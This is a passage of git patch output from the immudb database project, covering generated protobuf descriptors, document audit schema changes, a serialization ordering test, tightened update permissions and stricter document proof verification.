0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, - 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, - 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, - 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, - 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, - 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, - 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, - 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, - 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x33, + 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, + 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, + 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, + 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, + 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, + 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2000,7 +1962,7 @@ var file_documentschema_proto_depIdxs = []int32{ 30, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct 33, // 7: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 14, // 8: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit - 30, // 9: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct + 30, // 9: immudb.documentschema.DocumentAudit.document:type_name -> google.protobuf.Struct 1, // 10: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType 27, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry 18, // 12: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 3608ec7fdb..650e065a8f 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -102,8 +102,6 @@ message DocumentSearchRequest { message DocumentSearchResponse { repeated google.protobuf.Struct results = 1; - uint32 page = 2; - uint32 perPage = 3; } message DocumentProofRequest { @@ -129,14 +127,12 @@ message DocumentAuditRequest { message DocumentAuditResponse { repeated DocumentAudit results = 1; - uint32 page = 2; - uint32 perPage = 3; } message DocumentAudit { - google.protobuf.Struct value = 1; - uint64 transactionId = 2; - uint64 revision = 3; + uint64 transactionId = 1; + uint64 revision = 2; + google.protobuf.Struct document = 3; } message IndexOption { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index c8faf742b5..c6cb429949 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -425,9 +425,6 @@ "documentschemaDocumentAudit": { "type": "object", "properties": { - "value": { - "type": "object" - }, "transactionId": { "type": "string", "format": "uint64" @@ -435,6 +432,9 @@ "revision": { "type": "string", "format": "uint64" + }, + "document": { + "type": "object" } } }, @@ -465,14 +465,6 @@ "items": { "$ref": "#/definitions/documentschemaDocumentAudit" } - }, - "page": { - "type": "integer", - "format": "int64" - }, - "perPage": { - "type": "integer", - "format": "int64" } } }, @@ -581,14 +573,6 @@ "items": { "type": "object" } - }, - "page": { - "type": "integer", - "format": "int64" - }, - "perPage": { - "type": "integer", - "format": "int64" } } }, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 30f3c3e4b5..e4145134c0 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -24,7 +24,6 @@ import ( "github.com/codenotary/immudb/embedded/store" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/schema" - "google.golang.org/protobuf/types/known/structpb" ) var ( @@ -244,13 +243,7 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque resp.Results = append(resp.Results, &schemav2.DocumentAudit{ TransactionId: log.TxID, Revision: log.Revision, - Value: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - document.DocumentBLOBField: { - Kind: &structpb.Value_StringValue{StringValue: string(log.Value)}, - }, - }, - }, + Document: log.Document, }) } @@ -283,7 +276,7 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque } defer d.releaseTx(tx) - collectionID, docAudit, err := d.documentEngine.GetDocument(ctx, req.Collection, docID, req.TransactionId) + collectionID, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.Collection, docID, req.TransactionId) if err != nil { return nil, err } @@ -320,7 +313,7 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque return &schemav2.DocumentProofResponse{ Database: d.name, CollectionId: collectionID, - EncodedDocument: docAudit.Value, + EncodedDocument: docAudit.EncodedDocument, VerifiableTx: &schema.VerifiableTxV2{ Tx: schema.TxToProto(tx), DualProof: schema.DualProofV2ToProto(dualProof), From 1fd769df496d17fd88b0e77923538409de21ae29 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 12 Apr 2023 17:08:54 +0530 Subject: [PATCH 0426/1062] chore(embedded/document): add test to ensure key ordering in document during serialization --- embedded/document/document.go | 15 +++++---- embedded/document/document_test.go | 51 ++++++++++++++++++++---------- 2 files changed, 44 insertions(+), 22 deletions(-) diff --git a/embedded/document/document.go b/embedded/document/document.go index a391887eec..c72acbfaf6 100644 --- a/embedded/document/document.go +++ b/embedded/document/document.go @@ -16,11 +16,11 @@ limitations under the License. package document import ( - "encoding/json" "errors" "fmt" "github.com/tidwall/gjson" + "google.golang.org/protobuf/types/known/structpb" ) // Document is a json document @@ -57,7 +57,10 @@ func NewDocumentFromBytes(json []byte) (*Document, error) { return nil, fmt.Errorf("invalid json: %s", string(json)) } d := &Document{ - result: gjson.ParseBytes(json), + result: gjson.Result{ + Type: gjson.JSON, + Raw: string(json), + }, } if !d.Valid() { return nil, errors.New("invalid document") @@ -65,14 +68,14 @@ func NewDocumentFromBytes(json []byte) (*Document, error) { return d, nil } -// NewDocumentFrom creates a new document from the given interface -func NewDocumentFrom(value interface{}) (*Document, error) { +// NewDocumentFrom creates a new document from the given struct object +func NewDocumentFrom(value *structpb.Struct) (*Document, error) { var err error - bits, err := json.Marshal(value) + bytes, err := value.MarshalJSON() if err != nil { return nil, fmt.Errorf("failed to json encode value: %v", value) } - return NewDocumentFromBytes(bits) + return NewDocumentFromBytes(bytes) } // Valid returns whether the document is valid diff --git a/embedded/document/document_test.go b/embedded/document/document_test.go index 4385044371..2e4d1ed47b 100644 --- a/embedded/document/document_test.go +++ b/embedded/document/document_test.go @@ -19,13 +19,17 @@ import ( "testing" "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/structpb" ) -func newDoc(id, name, cid interface{}) *Document { - doc, err := NewDocumentFrom(map[string]interface{}{ - "id": id, - "name": name, - "age": cid, +func newDoc(id float64, name string, age float64) *Document { + doc, err := NewDocumentFrom(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "id": {Kind: &structpb.Value_NumberValue{NumberValue: id}}, + "name": {Kind: &structpb.Value_StringValue{StringValue: name}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: age}}, + }, }) if err != nil { panic(err) @@ -34,20 +38,17 @@ func newDoc(id, name, cid interface{}) *Document { } func TestDocument(t *testing.T) { - type user struct { - ID string `json:"id"` - Name string `json:"name"` - Age int `json:"age"` - } - usr := user{ - ID: "1", - Name: "foo", - Age: 10, - } - r, err := NewDocumentFrom(&usr) + r, err := NewDocumentFrom(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "foo"}}, + "id": {Kind: &structpb.Value_NumberValue{NumberValue: 1}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 10}}, + }, + }) if err != nil { t.Fatal(err) } + t.Run("get", func(t *testing.T) { usr := newDoc(2, "bar", 3) assert.Equal(t, "bar", usr.Get("name")) @@ -69,4 +70,22 @@ func TestDocument(t *testing.T) { assert.NoError(t, usr2.UnmarshalJSON(bits)) assert.Equal(t, usr.String(), usr2.String()) }) + + t.Run("check field ordering", func(t *testing.T) { + r1, _ := NewDocumentFrom(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "name": {Kind: &structpb.Value_StringValue{StringValue: "foo"}}, + "id": {Kind: &structpb.Value_NumberValue{NumberValue: 1}}, + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 10}}, + }, + }) + r2, _ := NewDocumentFrom(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "age": {Kind: &structpb.Value_NumberValue{NumberValue: 10}}, + "id": {Kind: &structpb.Value_NumberValue{NumberValue: 1}}, + "name": {Kind: &structpb.Value_StringValue{StringValue: "foo"}}, + }, + }) + require.Equal(t, r1.Bytes(), r2.Bytes()) + }) } From 6583c39f95a7c8256233ebee821ae485ab9c9e1d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 14 Apr 2023 08:22:34 -0300 Subject: [PATCH 0427/1062] chore(pkg/auth): add document update permissions Signed-off-by: Jeronimo Irazabal --- pkg/auth/permissions.go | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 5a854df416..6c162b3dce 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -49,6 +49,7 @@ var maintenanceMethods = map[string]struct{}{ "CollectionCreate": {}, "CollectionGet": {}, "CollectionList": {}, + "CollectionUpdate": {}, "CollectionDelete": {}, "DocumentAudit": {}, "DocumentProof": {}, @@ -114,11 +115,12 @@ var methodsPermissions = map[string][]uint32{ "DescribeTable": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "VerifiableSQLGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DocumentInsert": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "DocumentUpdate": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "DocumentUpdate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DocumentSearch": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "CollectionCreate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "CollectionGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "CollectionList": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "CollectionUpdate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "CollectionDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DocumentAudit": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DocumentProof": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, From 3432f65abcd55a915ec5fed149d62d94b22bdb64 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 14 Apr 2023 09:12:16 -0300 Subject: [PATCH 0428/1062] chore(pkg/verification): strengthen proof validations Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 2 ++ pkg/verification/verification.go | 45 +++++++++++++++++++++++++------- 2 files changed, 37 insertions(+), 10 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 708392136b..bfb7e174f3 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -663,6 +663,7 @@ func (e *Engine) getDocumentAudit( voff := sql.EncLenLen + sql.EncIDLen + // DocumentIDField _, n, err := sql.DecodeValue(encodedDocAudit.EncodedDocument[voff:], sql.BLOBType) if err != nil { return nil, err @@ -670,6 +671,7 @@ func (e *Engine) getDocumentAudit( voff += n + sql.EncIDLen + // DocumentBLOBField encodedDoc, _, err := sql.DecodeValue(encodedDocAudit.EncodedDocument[voff:], sql.BLOBType) if err != nil { return nil, err diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index be0f83a3d6..04637f5f37 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -32,9 +32,6 @@ import ( structpb "github.com/golang/protobuf/ptypes/struct" ) -const documentPrefix byte = 3 -const encodedPrefixLen int = 36 - func VerifyDocument(ctx context.Context, proof *schemav2.DocumentProofResponse, doc *structpb.Struct, @@ -80,8 +77,28 @@ func VerifyDocument(ctx context.Context, return nil, err } - if !bytes.Equal(docBytes, proof.EncodedDocument[encodedPrefixLen:encodedPrefixLen+len(docBytes)]) { - return nil, store.ErrInvalidProof + voff := sql.EncLenLen + sql.EncIDLen + + // DocumentIDField + _, n, err := sql.DecodeValue(proof.EncodedDocument[voff:], sql.BLOBType) + if err != nil { + return nil, err + } + + if n > document.MaxDocumentIDLength { + return nil, fmt.Errorf("%w: the proof contains invalid document data", store.ErrInvalidProof) + } + + voff += n + sql.EncIDLen + + // DocumentBLOBField + encodedDoc, _, err := sql.DecodeValue(proof.EncodedDocument[voff:], sql.BLOBType) + if err != nil { + return nil, err + } + + if !bytes.Equal(docBytes, encodedDoc.RawValue().([]byte)) { + return nil, fmt.Errorf("%w: the document does not match the proof provided", store.ErrInvalidProof) } entries := proof.VerifiableTx.Tx.Entries @@ -122,9 +139,13 @@ func VerifyDocument(ctx context.Context, dualProof := schema.DualProofV2FromProto(proof.VerifiableTx.DualProof) sourceID := proof.VerifiableTx.DualProof.SourceTxHeader.Id - sourceAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.SourceTxHeader).Alh() - targetID := proof.VerifiableTx.DualProof.TargetTxHeader.Id + + if targetID < sourceID { + return nil, fmt.Errorf("%w: source tx is newer than target tx", store.ErrInvalidProof) + } + + sourceAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.SourceTxHeader).Alh() targetAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.TargetTxHeader).Alh() if txHdr.ID == sourceID { @@ -139,7 +160,11 @@ func VerifyDocument(ctx context.Context, return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) } - if lastValidatedState != nil && lastValidatedState.TxId > 0 { + if lastValidatedState == nil || lastValidatedState.TxId == 0 { + if sourceID != 1 { + return nil, fmt.Errorf("%w: proof should start from the first transaction when no previous state was specified", store.ErrInvalidProof) + } + } else { if lastValidatedState.TxId == sourceID { if !bytes.Equal(lastValidatedState.TxHash, sourceAlh[:]) { return nil, fmt.Errorf("%w: lastValidatedTransactionAlh must match source or target tx alh", store.ErrInvalidProof) @@ -205,9 +230,9 @@ func encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, erro pkEncVals := valbuf.Bytes() return sql.MapKey( - []byte{documentPrefix}, + []byte{3}, // database.DocumentPrefix sql.PIndexPrefix, - sql.EncodeID(1), + sql.EncodeID(1), // fixed database identifier sql.EncodeID(collectionID), sql.EncodeID(0), // pk index id pkEncVals, From c9fb8ad5e6d2b935cfa30d09c793773b3efdee29 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 14 Apr 2023 09:31:54 -0300 Subject: [PATCH 0429/1062] chore(pkg/api): minor proof request renaming Signed-off-by: Jeronimo Irazabal --- pkg/api/documentschema/docs.md | 2 +- pkg/api/documentschema/documentschema.pb.go | 486 +++++++++--------- pkg/api/documentschema/documentschema.proto | 2 +- .../documentschema.swagger.json | 2 +- pkg/database/document_database.go | 8 +- 5 files changed, 250 insertions(+), 250 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index f1d24ea1de..2953a856ef 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -349,7 +349,7 @@ | collection | [string](#string) | | | | documentId | [string](#string) | | | | transactionId | [uint64](#uint64) | | | -| lastValidatedTransactionId | [uint64](#uint64) | | | +| proofSinceTransactionId | [uint64](#uint64) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 09a96aa382..b1145af66c 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -664,10 +664,10 @@ type DocumentProofRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - TransactionId uint64 `protobuf:"varint,3,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - LastValidatedTransactionId uint64 `protobuf:"varint,4,opt,name=lastValidatedTransactionId,proto3" json:"lastValidatedTransactionId,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + TransactionId uint64 `protobuf:"varint,3,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + ProofSinceTransactionId uint64 `protobuf:"varint,4,opt,name=proofSinceTransactionId,proto3" json:"proofSinceTransactionId,omitempty"` } func (x *DocumentProofRequest) Reset() { @@ -723,9 +723,9 @@ func (x *DocumentProofRequest) GetTransactionId() uint64 { return 0 } -func (x *DocumentProofRequest) GetLastValidatedTransactionId() uint64 { +func (x *DocumentProofRequest) GetProofSinceTransactionId() uint64 { if x != nil { - return x.LastValidatedTransactionId + return x.ProofSinceTransactionId } return 0 } @@ -1643,7 +1643,7 @@ var file_documentschema_proto_rawDesc = []byte{ 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0xbc, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, @@ -1651,255 +1651,255 @@ var file_documentschema_proto_rawDesc = []byte{ 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, - 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, - 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, - 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 